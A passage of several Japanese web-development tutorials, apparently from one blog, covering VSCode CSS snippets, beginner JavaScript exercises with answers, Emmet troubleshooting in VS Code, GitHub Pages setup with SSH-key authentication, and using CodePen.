は、小さな画像まで横幅いっぱいに引き伸ばすため非推奨です。max-width: 100%; height: auto; を定石として登録しましょう。リセットCSS本体側で吸収しておくのも有効です。 .pc-br / .sp-br より clamp()・コンテナクエリ PC・SPで改行位置を切り替える .pc-br .sp-br は古典的なパターンですが、現在は <br> 制御よりも clamp() で文字サイズと行幅を可変にする、あるいはコンテナクエリで親要素基準に切り替える方が保守しやすくなっています。 min-height: 0vw; の意味 min-height: 0vw; はiOS Safariで calc() 内の vw 単位が誤計算されるバグへの対策として知られる「おまじない」です。意味を理解せずコピペするのは避け、現代のSafari環境で再現するか確認してから入れるのが安全です。 まとめ CSSカスタムスニペットは、VSCodeの css.json に登録するだけで「プロジェクト初期設定の数分」が「1〜2文字の入力」に置き換わる、費用対効果の高いテクニックです。リセットCSSの自作とセットで運用すると、ゼロからのスタイル設計が圧倒的に速くなります。 📚 次に読む：自作リセットCSSの作り方｜GitHub + jsDelivr CDNで自分だけのCDN URLを手に入れる よくある質問（FAQ） Q. CSSカスタムスニペットとは？ VSCodeのユーザースニペット機能を使い、css.json にJSON形式で定義した定型CSSコードを、prefix の短縮入力で展開できる仕組みです。リセットCSSや初期コンテナ設計など、毎回書く定型コードを1〜2文字で呼び出せます。 Q. VSCodeのcss.jsonはどこにある？ macOSは ~/Library/Application Support/Code/User/snippets/css.json、Windowsは %APPDATA%\Code\User\snippets\css.json です。VSCodeメニューの「Configure User Snippets」から開くと迷いません。 Q. スニペットをチームで共有する方法は？ プロジェクトルートに .vscode/css.code-snippets を作成し、Gitに含めます。クローンしたメンバー全員が同じスニペットを使えるようになります。グローバル設定（css.json）はあくまで個人用と割り切るのがおすすめです。 Q. EmmetとCSSカスタムスニペットの違いは？ Emmetは m10 → margin: 10px; のようなプロパティ単位の略記に強く、カスタムスニペットは複数行にまたがる定型コード一式を展開するのに向いています。両者は競合せず併用できます。 Q. グローバルとプロジェクト単位、どちらに置くべき？ 個人で常用するテンプレ（リセット・Flex・Grid雛形など）はグローバル、案件固有のブレークポイント・カラー変数はプロジェクト単位に置くのがおすすめです。グローバルにすべて入れると案件間でprefixが衝突しやすくなります。 ### [JavaScript練習問題23選｜初心者向け基礎文法の実践課題集](https://codequest.work/javascript-practice-problems-beginner/) JavaScript練習問題シリーズ 基礎文法23問（この記事） DOM操作10問 非同期処理10問 配列メソッド10問 バグ修正・デバッグ12問 目次 JavaScript 練習問題でスキルアップする理由とは？ JavaScriptを効率よく学習するために練習問題が必要な理由を解説します。 【初級編】JavaScriptの基本文法をマスターする練習問題 変数、演算子、条件分岐など、基礎中の基礎を固める問題集です。 【中級編】条件分岐とループを使った実践問題 if文やfor文、while文を駆使して、ロジックを組み立てる問題に挑戦しましょう。 【上級編】関数・オブジェクト操作で理解を深める応用問題 関数の作成やオブジェクトの操作を通して、JavaScriptの応用力を高めます。 解答例と詳しい解説｜コードの理解を深めよう 問題ごとに解答と解説を掲載。なぜこの書き方なのか？を理解できます。 JavaScript練習問題を効果的に解く3つのコツ 学習効率を高めるための「手を動かす」「コードを繰り返す」などのコツを紹介。 まとめ｜次に挑戦すべきJavaScriptの学習ステップ 次のステップとして「DOM操作」や「非同期処理」への学習をおすすめします。 1. JavaScript 練習問題の目的と必要性 JavaScriptを学び始めた初心者の方は、実際に手を動かしてコードを書くことが最も効果的な学習方法です。本記事では、基礎から応用まで練習問題を通じてJavaScriptの理解を深めるサポートをします。 本記事の23問は、ブラウザ上でコードを書いてその場で実行できるクイズ版「JavaScript練習問題クイズ」でも解けます。解答例との見比べ・自己判定の進捗が自動保存されるので、繰り返しの復習に向いています。 JS基礎練習アプリ 初級編：基本文法 (1〜7問) 1. 変数の宣言 「変数 message に "Hello, JavaScript!" を代入し、コンソールに表示してください。」 解答例 ▼ let message = "Hello, JavaScript!"; console.log(message); 問題2: 四則演算 「2つの変数 a と b に数値を代入し、足し算・引き算・掛け算・割り算の結果をコンソールに表示してください。」 解答例　▼ let a = 10; let b = 2; console.log(a + b, a - b, a * b, a / b); 3. データ型の確認 「変数 num に数値 5、text に文字列 "JavaScript" を代入し、各データ型を確認してください。」 解答例 ▼ let num = 5; let text = "JavaScript"; console.log(typeof num, typeof text); 4. 条件分岐 (if文) 「score が80以上なら "合格"、それ未満なら "不合格" と表示してください。」 解答例 ▼ let score = 85; if (score >= 80) { console.log("合格"); } else { console.log("不合格"); } 5. 繰り返し処理 (for文) 「1から5までの数値を順に表示してください。」 解答例 ▼ for (let i = 1; i <= 5; i++) { console.log(i); } 6. 配列の操作 「配列 fruits に "apple", "banana", "grape" を追加し、すべて表示してください。」 解答例 ▼ let fruits = []; fruits.push("apple", "banana", "grape"); console.log(fruits); 7. 関数の作成 「引数に渡した数値を2倍にして返す関数 double を作成してください。」 解答例 ▼ function double(x) { return x * 2; } console.log(double(5)); 中級編：条件分岐とループ (8〜14問) 8. 奇数・偶数の判定 「数値が奇数なら "奇数"、偶数なら "偶数" と表示してください。」 解答例 ▼ let num = 4; if (num % 2 === 0) { console.log("偶数"); } else { console.log("奇数"); } 9. while文の利用 「1から5までの数値を while文を使って表示してください。」 解答例 ▼ let i = 1; while (i <= 5) { console.log(i); i++; } 10. 配列のループ処理 「配列 numbers = [1, 2, 3, 4, 5] をループで順番に表示してください。」 解答例 ▼ let numbers = [1, 2, 3, 4, 5]; numbers.forEach(num => console.log(num)); 11. 三項演算子の利用 「age が20以上なら "大人"、それ未満なら "子供" と表示してください。」 解答例 ▼ let age = 18; console.log(age >= 20 ? "大人" : "子供"); 12. 配列から最大値を探す 「配列 numbers = [10, 20, 30, 5, 25] の最大値を表示してください。」 解答例 ▼ let numbers = [10, 20, 30, 5, 25]; console.log(Math.max(...numbers)); 13. オブジェクトの利用 「オブジェクト person に name と age を追加し、表示してください。」 解答例 ▼ let person = {}; person.name = "Taro"; person.age = 25; console.log(person); 14. フィルタリング処理 「配列 numbers = [1, 2, 3, 4, 5] から偶数だけを取り出して表示してください。」 解答例 ▼ let numbers = [1, 2, 3, 4, 5]; let evenNumbers = numbers.filter(num => num % 2 === 0); console.log(evenNumbers); 上級編：関数とオブジェクト応用 (15〜20問) 15. 配列の合計値 「配列 numbers = [1, 2, 3, 4, 5] の合計値を求めてください。」 解答例 ▼ let numbers = [1, 2, 3, 4, 5]; let sum = numbers.reduce((acc, num) => acc + num, 0); console.log(sum); 16. 配列の重複を削除する 配列 numbers = [1, 2, 2, 3, 4, 4, 5] から重複を取り除いて表示してください。 解答例 ▼ let numbers = [1, 2, 2, 3, 4, 4, 5]; let unique = [...new Set(numbers)]; console.log(unique); 17. 関数を返す関数 「関数 createMultiplier を作成し、引数に渡した数値で掛け算する関数を返してください。」 解答例 ▼ function createMultiplier(factor) { return function(x) { return x * factor; }; } let double = createMultiplier(2); console.log(double(5)); 18. オブジェクトのメソッド 「オブジェクト calculator に add メソッドを作成し、2つの数値を足し算してください。」 解答例 ▼ let calculator = { add: function(a, b) { return a + b; } }; console.log(calculator.add(3, 5)); 19. 配列の並び替え 「配列 numbers = [5, 2, 8, 1, 3] を昇順に並び替えて表示してください。」 解答例 ▼ let numbers = [5, 2, 8, 1, 3]; let sorted = [...numbers].sort((a, b) => a - b); console.log(sorted); 20. クラスの利用 「Person クラスを作成し、name プロパティと greet メソッドを追加してください。」 解答例 ▼ class Person { constructor(name) { this.name = name; } greet() { console.log(`Hello, my name is ${this.name}.`); } } let person = new Person("Taro"); person.greet(); 21：FizzBuzz判定関数 1から100までの数値を順に表示してください。ただし、3の倍数のときは数値の代わりに "Fizz"、5の倍数のときは "Buzz"、3と5の両方の倍数のときは "FizzBuzz" と表示してください。 解答例 ▼ function fizzBuzz(number) { if (number % 3 === 0 && number % 5 === 0) { console.log("FizzBuzz"); } else if (number % 3 === 0) { console.log("Fizz"); } else if (number % 5 === 0) { console.log("Buzz"); } else { console.log(number); } } for (let i = 1; i <= 100; i++) { fizzBuzz(i); } 22. フィボナッチ数列の生成 引数に渡した項数ぶんのフィボナッチ数列を配列で返す関数 generateFibonacci を作成してください。例えば generateFibonacci(10) なら [0, 1, 1, 2, 3, 5, 8, 13, 21, 34] を返します。 解答例 ▼ function generateFibonacci(n) { if (n <= 0) return []; if (n === 1) return [0]; const fib = [0, 1]; for (let i = 2; i < n; i++) { fib.push(fib[i - 1] + fib[i - 2]); } return fib; } console.log(generateFibonacci(10)); // [0, 1, 1, 2, 3, 5, 8, 13, 21, 34] 23. 配列の重複除去 配列 [1, 2, 2, 3, 4, 4, 5] から重複する要素を取り除き、ユニークな値だけの配列を返す関数 removeDuplicates を作成してください。 ### [VS CodeでのEmmetの使い方ガイド](https://codequest.work/vscode-emmet-guide/) Emmet（エメット）とは、ul>li*5 のような短い略語を打つだけで、対応するHTML・CSSのコードへ展開してくれる入力支援エンジンです。VS Codeには拡張機能として最初から同梱されているため、追加インストールなしで .html / .css ファイルを開けばすぐ使えます。 そして、この記事を開いた人の多くが本当に知りたいのは「書き方」ではなく「なぜ自分の環境では効かないのか」のはずです。原因はほぼ5つに絞れます。VS Codeの既定では emmet.triggerExpansionOnTab が false なので「Tabを押せば必ず展開される」という前提自体が誤りで、ここを知らないまま設定をいじると余計に迷子になります。 本記事では、Emmetの定義と展開の仕組みを整理したうえで、「効かない」を切り分ける5分岐チェック、そのまま貼れる settings.json、そして実際に展開結果を検証した略語表までをまとめます。掲載している略語の展開結果は、Emmet本体（npmパッケージ emmet 2.4.11）で実行して出力を確認したものです。 Emmetとは｜VS Codeに標準搭載された略語展開エンジン Emmetは、CSSセレクタに似た記法でマークアップの構造を書き、それを実際のコードへ展開するツールです。>（子）+（兄弟）*（繰り返し）といった演算子で入れ子構造を1行で表現でき、20文字の入力から数十行のHTMLを生成できます。 重要なのは、Emmetは「拡張機能マーケットプレイスから入れるもの」ではないという点です。VS Codeには vscode.emmet という組み込み拡張として同梱されており、有効化の操作も不要です。検索して出てくる「Emmet」という名前のサードパーティ拡張を追加しても、動作が二重になるだけで解決にはなりません。 既定でEmmetが有効な言語 VS Code公式ドキュメントは、Emmetの略語展開が既定で有効な言語を明示しています。Emmet in Visual Studio Code（VS Code公式）によれば、対象は次の通りです。 分類既定で有効な言語IDマークアップ系html / haml / pug / slim / jsx / xml / xslスタイルシート系css / scss / sass / less / stylus上記を継承する言語handlebars / php など .jsx と .tsx はこの表の jsx に該当します。VS CodeのEmmet実装は言語ID javascriptreact と typescriptreact を内部で jsx に読み替えるため、ReactのJSX／TSXは設定なしでそのまま使えます。逆に言えば、リストに無い vue や、拡張子が .js のままJSXを書いているファイルは対象外です。 Emmetで短縮できる作業と、できない作業 Emmetが強いのは「構造が決まっているものを大量に置く」場面です。逆に、既存コードの意味を理解して直す作業は守備範囲外で、そこはAIアシスタントやAI時代に本当に必要なVS Code拡張機能で扱う領域になります。 Emmetが得意Emmetでは解決しない入れ子構造の骨組みを一気に置く既存タグの意味づけ（セマンティクス）の見直し連番クラス・連番テキストの量産CSSが当たらない原因の調査CSSプロパティ名のタイプ量削減レイアウト設計そのものの判断選択範囲を後からタグで包む命名規則やCSS設計の統一 Emmetの展開はTabキーではない｜既定の挙動を正しく知る ネット上の解説で最も多い誤りが「略語を打ってTabキーを押すと展開されます」という説明です。VS Codeの設定 emmet.triggerExpansionOnTab の既定値は false です。この設定について、VS Code同梱のEmmet拡張は次のように説明しています（原文）。 When enabled, Emmet abbreviations are expanded when pressing TAB, even when completions do not show up. When disabled, completions that show up can still be accepted by pressing TAB. つまり既定の挙動はこうです。略語を入力するとサジェスト（補完候補）に展開後のコードが表示され、それをEnterで確定すると展開されます。候補が表示されている状態ならTabでも確定できますが、候補が出ていない状況ではTabは何もしません（インデントが入るだけです）。「Tabを押せば必ず展開される」ようにしたいなら、設定を true に変える必要があります。 展開する方法は3通りある 方法操作必要な設定サジェストから確定略語を入力 → 候補をEnter（またはTab）不要（既定の挙動）コマンドで明示的に展開コマンドパレット → Emmet: Expand Abbreviation不要常にTabで展開略語を入力 → Tab"emmet.triggerExpansionOnTab": true コマンドパレットはWindowsが Ctrl + Shift + P、macOSが Cmd + Shift + P です。Emmet関連のコマンドは Emmet: と打てば一覧で絞り込めます。エディタのショートカットを体系的に覚え直したい場合はショートカットキー チートシートでアプリ別に確認できます。 VS CodeでEmmetが効かないときの5分岐チェック 「Emmetが効かない」は原因が複数あり、思いつきで設定を足すと状態が悪化します。上から順に判定し、当たった1つを直したらそこで手を止めてください。各分岐には「何を見れば合格か」の観測ポイントを付けています。判定の材料は ul>li*3 という略語1つで足ります。 症状確認する場所合格ライン対処HTMLを書いているのに候補が一切出ないステータスバー右下の言語モード表示HTML と表示されている言語モード表示をクリックして正しい言語を選ぶ／拡張子を .html にする候補は出るがTabで展開されない設定検索欄で emmet.triggerExpansionOnTabチェックがON（true）ONにする。またはEnterで確定する運用に切り替える特定の拡張子だけ全く反応しない設定検索欄で emmet.excludeLanguagesその言語IDが配列に入っていない配列から該当の言語IDを削除する（既定値は ["markdown"]）.js や .vue だけ効かない設定検索欄で emmet.includeLanguagesその言語IDのマッピングが存在する{"javascript": "javascriptreact"} などを追加する候補欄がAI補完などで埋まって選べない設定検索欄で emmet.showExpandedAbbreviation値が alwaysalways に戻す。それでも埋まるならコマンドパレットの Emmet: Expand Abbreviation で確定させる ファイルの言語モードが違う 最も多い原因がこれです。Emmetは「ファイル名」ではなく「VS Codeが判定した言語モード」で動作を決めます。無題ファイルのまま書いている、.txt で保存している、テンプレートエンジンの拡張子で開いているといった場合、言語モードは Plain Text などになり、Emmetは沈黙します。 合格ライン：VS Codeウィンドウ最下部のステータスバー右側に HTML（CSSファイルなら CSS）と出ていること。ここが Plain Text なら、その表示をクリックして言語を選び直せば即座に効き始めます。恒久的に直すなら、ファイルを正しい拡張子で保存し直してください。 Tabで展開する設定になっていない 前章の通り emmet.triggerExpansionOnTab の既定値は false です。「候補は出ているのにTabを押すとインデントが入るだけ」という症状は、候補にフォーカスが当たっていない状態でTabを押しているケースがほとんどです。 合格ライン：設定画面（Ctrl／Cmd + ,）で emmet.triggerExpansionOnTab を検索し、チェックが入っている状態にしたうえで、.html ファイルに ul>li*3 と打ってTabを押し、li が3つ生成されること。生成されなければ原因は別の分岐です。 excludeLanguagesに入っている emmet.excludeLanguages は「Emmetを無効化する言語ID」の配列で、既定値は ["markdown"] です。Markdown内でEmmetが効かないのは仕様であり、故障ではありません。過去に自分で言語IDを足していた場合や、チーム共有の .vscode/settings.json にワークスペース単位で書かれている場合も、この配列が効いています。 合格ライン：設定検索で emmet.excludeLanguages を開き、対象の言語IDが配列に含まれていないこと。ユーザー設定とワークスペース設定はタブが分かれているので、両方のタブを確認するのがポイントです。ワークスペース側の値がユーザー設定より優先されます。 .jsや.vueでincludeLanguagesが未設定 既定で有効な言語リストに javascript（拡張子 .js）と vue（拡張子 .vue）は含まれていません。.jsx / .tsx は効くのに .js だけ効かない、という現象はこれが原因です。emmet.includeLanguages で「自分のファイルの言語ID」を「Emmetが知っている言語」へ読み替えさせます。 注意点として、マッピングの右側（値）に指定できるのはEmmetが認識する言語だけです。html / css / scss / sass / less / stylus / xml / xsl / haml / slim / jade / javascriptreact / typescriptreact が該当します。ここに "vue": "jsx" のような存在しない値を書くと、設定は静かに無視されます。 合格ライン：設定を保存した直後、対象ファイルで ul>li*3 と打ってサジェストに展開後のHTMLが表示されること。表示されない場合はウィンドウの再読み込み（コマンドパレットの Developer: Reload Window）を1回だけ試します。 拡張機能に候補を奪われている AIコード補完やスニペット系の拡張機能を複数入れていると、サジェスト一覧の上位が別の候補で埋まり、Emmetの展開結果が見えないことがあります。この場合Emmet自体は動いているので、設定を書き換えるより確定手段を変えるほうが速いです。 合格ライン：略語を入力した状態でコマンドパレットから Emmet: Expand Abbreviation を実行し、展開されること。これで展開できるなら原因はサジェスト表示側であり、Emmetは正常です。恒久対策として emmet.showExpandedAbbreviation が always であることを確認し、必要なら競合する拡張機能を一時的に無効化して切り分けます。導入済み拡張の棚卸しはVS Code拡張機能の整理が参考になります。 なお、Emmetは動いているのに書いたCSSが画面に反映されない、というのは別の問題です。そちらはChrome・VS Code・GitHubでCSSが反映されない原因と対処法で切り分けてください。 ### [GitHub入門ガイド｜Git基礎コマンドからGitHub Pagesでのサイト公開まで](https://codequest.work/github-pages-introduction/) GitHub Pagesとは、GitHubのリポジトリに置いたHTML・CSS・JavaScriptを、そのまま https://ユーザー名.github.io/リポジトリ名/ というURLで公開できる無料の静的サイトホスティングです。レンタルサーバーの契約もFTPも要らず、git push した内容が公開サイトへ反映されます。GitHub公式ドキュメントでは、pushしてからサイトに反映されるまで最大10分かかるとされています（GitHub Docs「Creating a GitHub Pages site」）。 ただし「手順どおりにやったのに公開できない」で止まる人が非常に多いのも事実です。詰まる場所はほぼ3つに集中します。①パスワードでは git push できない（認証）、②ブランチ名が main ではなく master になっている、③公開できたのかどうかを判定する手段がない。この記事では、公開までに必要なGitコマンドを最小限に絞ったうえで、この3つを全部つぶし、最後に「公開できたか」をコマンドで判定する4つの合否ラインまで示します。 GitHub Pagesとは｜リポジトリがそのまま公開サーバーになる仕組み GitHub Pagesは、リポジトリの中身をそのままWebサーバーの公開ディレクトリとして扱うサービスです。「アップロード」という工程が存在せず、リポジトリへの反映＝サイトへの反映になります。つまりGitHub Pagesを使うには、先にGitとGitHubの操作が必要になります。 Git・GitHub・GitHub Pagesの役割の違い 3つは名前が似ていますが、担当する範囲がはっきり分かれています。 名前正体担当する範囲Git手元のPCで動くバージョン管理ソフト変更履歴の記録。ネットに繋がっていなくても動くGitHubGitのリポジトリを預かるクラウドサービス共有・レビュー（Pull Request）・課題管理（Issue）・自動化（Actions）GitHub PagesGitHubの機能のひとつリポジトリの中身を静的サイトとして配信する GitHub Pagesでできること・できないこと できるできないHTML / CSS / JavaScript の静的サイト公開PHPやRuby等のサーバーサイド処理HTTPS（証明書は自動で付与される）データベースへの接続独自ドメインの割り当てフォーム送信の受け取り・ログイン処理Jekyllによるブログ・ドキュメント生成WordPressの設置 「問い合わせフォームを動かしたい」「会員機能を付けたい」といった要件が出た時点で、GitHub Pagesの守備範囲を超えます。その場合は動的サイトを置けるサーバーが必要になるので、ポートフォリオサイトを公開するためのレンタルサーバーの選び方を参考に移行先を検討してください。サーバー側で何が動いているのかを整理したい場合はバックエンド開発の基礎も合わせて読むと、静的と動的の境界がはっきりします。 公開前に押さえる3つの前提｜公開範囲・ブランチ名・使用上限 手順に入る前に、知らないと必ず途中で行き止まりになる前提が3つあります。ここを飛ばすと、あとから作業をやり直すことになります。 前提1｜無料プランではプライベートリポジトリから公開できない GitHub公式は「If the account that owns the repository uses GitHub Free or GitHub Free for organizations, the repository must be public（リポジトリを所有するアカウントがGitHub Freeの場合、そのリポジトリはpublicである必要がある）」と明記しています（GitHub Docs「Creating a GitHub Pages site」）。無料プランでプライベートリポジトリを作ること自体は可能ですが、そこからPagesを公開することはできません。 公開するリポジトリはインターネット上の誰からでも中身が見える状態になります。APIキー・パスワード・個人情報を書いたファイルを含めたままpushしないよう、コミット前に必ず中身を確認してください。 前提2｜最初のブランチ名は環境によって master になる GitHubは2020年10月1日以降、新規作成するリポジトリの既定ブランチを main に変更しました（GitHub Changelog「The default branch for newly-created repositories is now main」）。一方で、手元のGit本体が git init で作る最初のブランチ名は今も master です。 実際にGit 2.50.1で、システム設定を無視した状態（GIT_CONFIG_NOSYSTEM=1）で git init すると master が作られます。逆に、macOSのCommand Line Tools同梱のgitのようにシステム設定へ init.defaultBranch=main が書かれている環境では main になります。つまりブランチ名は「環境次第」で、決め打ちできません。 これを知らないと、Pagesの設定画面でブランチを選ぶときに main が一覧に出てこず、そこで詰まります。次のどちらかで main に揃えてください。 タイミングコマンド効果これから作る分すべてgit config --global init.defaultBranch main以後の git init が main で始まるすでに master で作ってしまったgit branch -m main今いるブランチを main に改名する作った直後にまとめてgit branch -M main同名があっても強制的に main へ改名する 前提3｜無料だが無条件ではない｜GitHub Pagesの使用上限 GitHub Pagesは無料で使えますが、公式ドキュメントには明確な使用上限と禁止用途が定められています（GitHub Docs「GitHub Pages limits」）。個人の学習やポートフォリオなら実質困りませんが、事前に把握しておくべき内容です。 項目上限種別ソースリポジトリのサイズ1GB推奨（recommended limit）公開サイトのサイズ1GB以下上限帯域100GB／月ソフト上限ビルド回数10回／時ソフト上限（Actionsで独自にビルドする場合は対象外）デプロイ所要時間10分を超えるとタイムアウト上限ユーザー／組織サイト1アカウントにつき1つ上限 加えて用途の制限があります。公式は「GitHub Pages is not intended for or allowed to be used as a free web-hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS)」と述べており、オンラインビジネス・ECサイト・商用SaaSの運用は許可されていません。ポートフォリオやドキュメントは問題ありませんが、「無料で全部できる」と考えるのは誤りです。 認証を先に通す｜GitHubはパスワードでのpushを受け付けない GitHubは、Gitの操作でアカウントのパスワードを受け付けません。公式ドキュメントに「Password-based authentication for Git has been removed in favor of more secure authentication methods（Gitのパスワード認証は、より安全な認証方式のために廃止された）」と明記されています（GitHub Docs「About authentication to GitHub」）。廃止は2021年8月13日からで、GitHubは事前に「Beginning August 13, 2021, we will no longer accept account passwords when authenticating Git operations on GitHub.com」と告知していました（The GitHub Blog「Token authentication requirements for Git operations」）。 入門記事の手順どおりに進めて最後の git push だけ失敗する原因は、ほぼこれです。ファイルを作る前に、認証方法を1つ決めて通しておいてください。 3つの認証方法から1つ選ぶ 方法入力するもの向いている人GitHub CLI（gh auth login）ブラウザで認証するだけ最短で通したい人。認証情報の保存まで自動で済むHTTPS＋PAT（personal access token）パスワード欄にトークン文字列SSHの設定を避けたい人。トークンの管理は自分で行うSSHキー初回に鍵を登録すれば以後は入力なし同じPCで長く使う人。複数リポジトリでも再入力が要らない HTTPSで進める場合、公式はPATの直接入力に加えて「Alternatively, you can use a credential helper like Git Credential Manager」と案内しています。Git Credential Managerを入れておくと、毎回トークンを貼り付ける手間がなくなります。 SSHキーを作ってGitHubに登録する 一度設定すれば以後の入力が不要になるため、同じPCを使い続けるならSSHが扱いやすい方法です。 # 1. SSHキーを作る（メールアドレスはGitHubに登録したもの） ssh-keygen -t ed25519 -C "your_email@example.com" # 2. 公開鍵を表示する。出力された1行をすべてコピーする cat ~/.ssh/id_ed25519.pub # 3. GitHubの Settings → SSH and GPG keys → New SSH key に貼り付けて保存する # 4. 接続できるか確かめる ssh -T git@github.com cat で表示されるのは ssh-ed25519 AAAA…（長い文字列） your_email@example.com という形式の1行です。拡張子 .pub が付いていない方（id_ed25519）は秘密鍵なので、絶対に貼り付けないでください。手順4を実行すると「Hi ユーザー名! You've successfully authenticated…」というメッセージが返り、これが出れば認証は通っています。 PATを使う場合に注意すること PATは発行画面を閉じると二度と表示されない。控えを取ってから閉じる HTTPSでcloneしたリポジトリで、ユーザー名を聞かれたらGitHubのユーザー名、パスワードを聞かれたらPATを入力する 有効期限を設定した場合、期限切れの日から突然pushが失敗する。認証エラーが出たらまず期限を疑う PATはリポジトリを操作できる鍵そのもの。ソースコードやスクリーンショットに含めない 公開に必要なGitコマンドはこれだけ Gitのコマンドは数多くありますが、サイトを1つ公開するだけなら覚えるのは8個で足ります。まず一覧で意味を掴み、そのあと「実際に打つ順番」をそのまま実行してください。 ### [CodePenの使い方｜HTML・CSS・JavaScriptの動作確認に便利な入門ガイド｜初心者向け](https://codequest.work/codepen-how-to-use/) コードペン（CodePen）とは、HTML・CSS・JavaScriptをブラウザ上で書いて即時プレビューできる無料のオンラインコードエディタです。環境構築なしで動作確認やデモ作成ができ、世界中のエンジニア・デザイナーが作品を公開・共有しているため、フロントエンド学習やプロトタイピングの定番ツールとして使われています。 この記事では、コードペン（CodePen）のアカウント作成から、Pen（コードスニペット）の書き方、コードの保存・公開・共有、ブログへの埋め込み方法までを、初心者向けに順を追って解説します。実際に動くデモは UI/UXモーションデザイン カテゴリに多数まとめています。 1. CodePenとは？ CodePenは、HTML、CSS、JavaScriptのコードをブラウザ上で簡単に書いて、リアルタイムで結果を確認できるオンラインエディタです。初心者が学習する場としてはもちろん、プロのデザイナーやエンジニアがアイデアを試したり、プロトタイプを作成したりするためにも活用されています。 CodePenが選ばれる理由 インストール不要でブラウザだけで動作 リアルタイムプレビュー機能 他のユーザーとアイデアをシェア可能 世界中の作品を閲覧・参考にできる 2. CodePenの基本機能 ペン（Pen）の作成 「Pen」とは、CodePenで個別に作成できるHTML、CSS、JavaScriptのスニペットです。以下の手順で作成できます： CodePenのトップページから「New Pen」をクリック。 エディタ画面が開き、左からHTML、CSS、JavaScriptの入力フィールドが表示されます。 各フィールドにコードを記述すると、右側にリアルタイムで結果が表示されます。 プロジェクトの作成 CodePenでは、複数のファイルを管理できる「プロジェクト」を作成することも可能です。これはより大規模なコードを書く際に便利です。 トップメニューから「New Project」を選択。 フォルダ構造でHTML、CSS、JavaScriptファイルを追加・編集できます。 実際のCodePen埋め込み例（動くサンプル） ここで実際にCodePenを記事へ埋め込んだ例を見てみましょう。下のサンプルは「Result」タブで動作結果が動き、「HTML」「CSS」「JS」タブに切り替えるとコードを確認できます。これがCodePenの埋め込み（Embed）機能です。 See the Pen liquid-glass-WebGL by masakazuimai (@masakazuimai) on CodePen. 3. CodePenの使い始め方 アカウント作成 CodePenを使い始めるには、アカウント作成が必要です。 CodePen公式サイトにアクセス。 「Sign Up」をクリックし、必要情報を入力して登録します。 無料プランでも十分ですが、Proプランでは以下の追加機能が使えます： プライベートPen コラボレーションモード アセットホスティング 初心者向けのステップ テンプレートを活用CodePenには、あらかじめセットアップされたテンプレートが用意されています。たとえば、「Flexbox」や「Grid」などのテンプレートを利用して基本的なレイアウトを試すことが可能です。 シンプルなコードを書く簡単なHTMLとCSSでボタンやカードデザインを作成してみましょう。 4. CodePenの活用法 学習ツールとして CodePenは、フロントエンド学習の場として最適です。 CSSの練習FlexboxやGridレイアウトを使った練習問題を自分で作成。 JavaScriptのテストボタンやフォームの動作を実際に試せます。 ポートフォリオとして 作成した作品を公開すれば、自分のスキルをアピールするポートフォリオとして活用できます。 プロジェクトの完成例を共有 採用担当者にスキルを視覚的に伝えるツールとして利用 チームやクライアントとのコラボレーション リアルタイムでコードを共有しながら、クライアントやチームメンバーと共同作業ができます。 5. CodePenの便利な機能 プレビュー機能 リアルタイムで結果を確認できるため、デバッグや調整がスムーズに行えます。 外部リソースの追加 CDNから外部リソースを追加することで、簡単にライブラリを利用できます。たとえば： jQuery<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> Bootstrap<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> コミュニティとの交流 CodePenでは他のユーザーが作成した作品を閲覧でき、気に入ったものにコメントや「Like」を送ることができます。 6. CodePenの活用Tips タグを付ける作成したPenに適切なタグを付けて、より多くのユーザーに見てもらいましょう。 検索機能を使うほかのユーザーの作品を検索し、自分のアイデアに活かせます。 リビジョン管理作業履歴を保存できるため、過去のコードに戻ることができます。 7. CodePenのProプランについて CodePenには有料のProプランがあり、以下のような機能が利用可能です： プライベートPenクライアントに見せる際や、公開したくないコードに最適。 アセットホスティングプロジェクトで使用する画像やフォントを直接アップロード可能。 チームコラボレーションリアルタイムで共同編集ができます。 8. CodePen（コードペン）でできること一覧 CodePen（コードペン）とは、ブラウザ上でHTML・CSS・JavaScriptを記述し、リアルタイムに実行結果を確認できるオンラインコードエディタです。「code pen」や「こでぺん」と検索して見つける方も多いこのサービスでは、以下のようなことが可能です。 コーディング学習・練習 環境構築なしでHTML/CSS/JavaScriptを書いて即座に結果を確認できるため、初心者の学習ツールとして最適です。FlexboxやCSS Gridなどのレイアウト練習にも活用されています。 UIパーツの試作・プロトタイピング ボタン、カード、ナビゲーションなどのUIパーツを素早く試作できます。Bootstrap・Tailwind CSSなどのフレームワークもCDN経由で読み込めるため、実務に近い環境で検証が可能です。 コードの共有・埋め込み 作成したPenはURLで共有でき、ブログや技術記事にEmbed（埋め込み）として表示することも可能です。動くデモ付きの技術記事を書く際に重宝します。 不具合の再現・報告 バグの最小再現環境をPen上で作り、URLを共有するだけでチームメンバーやOSSメンテナにスムーズに報告できます。Stack OverflowやGitHub Issuesでもよく利用される方法です。 ポートフォリオ・作品集 自分が作成したPenを公開プロフィールにまとめれば、スキルを視覚的にアピールできるポートフォリオになります。就職活動やフリーランスの案件獲得にも役立ちます。 UI/UXモーションデザインのデモ集を見る 9. CodePenの無料プランと有料プラン（Pro）の違い CodePenは無料で利用できるオンラインコードエディタですが、有料のProプラン（月額$12〜）にアップグレードすると、より高度な機能が使えるようになります。以下の比較表で違いを確認してください。 機能無料プランProプランPen作成数無制限無制限プロジェクト作成1件まで無制限プライベートPen不可（すべて公開）利用可能アセットホスティングなし画像・フォント等をアップロード可能リアルタイムコラボレーション不可利用可能（Collab Mode）カスタムドメインでのデプロイ不可利用可能広告表示ありなし 無料プランで十分なケース 個人の学習やコーディング練習、技術ブログへのEmbed、公開前提のUI試作であれば、CodePenの無料プランで十分に活用できます。Pen作成数に制限はなく、HTML・CSS・JavaScriptの編集とリアルタイムプレビューはすべて無料で利用可能です。 Proプランが向いているケース クライアントワークで非公開のPenが必要な場合、チームでリアルタイム共同編集を行いたい場合、または画像やフォントなどのアセットをCodePen上にホスティングしたい場合は、Proプランへのアップグレードが推奨されます。 10. まとめ CodePenは、初心者からプロまで幅広いユーザーに支持されているオンラインエディタです。まずはシンプルなコードを書いて、リアルタイムプレビューの便利さを体感してみましょう。学習や実験、ポートフォリオ作成、チームコラボレーションなど、CodePenを活用してあなたのフロントエンドスキルをさらに高めてください！ 実務Tips（ベストプラクティス集） まずは「Pen」で最小再現を作る 不具合の切り分けやUI試作は、Penで最小のHTML/CSS/JSに落として検証すると早い。外部ライブラリの読み込みも「Settings → 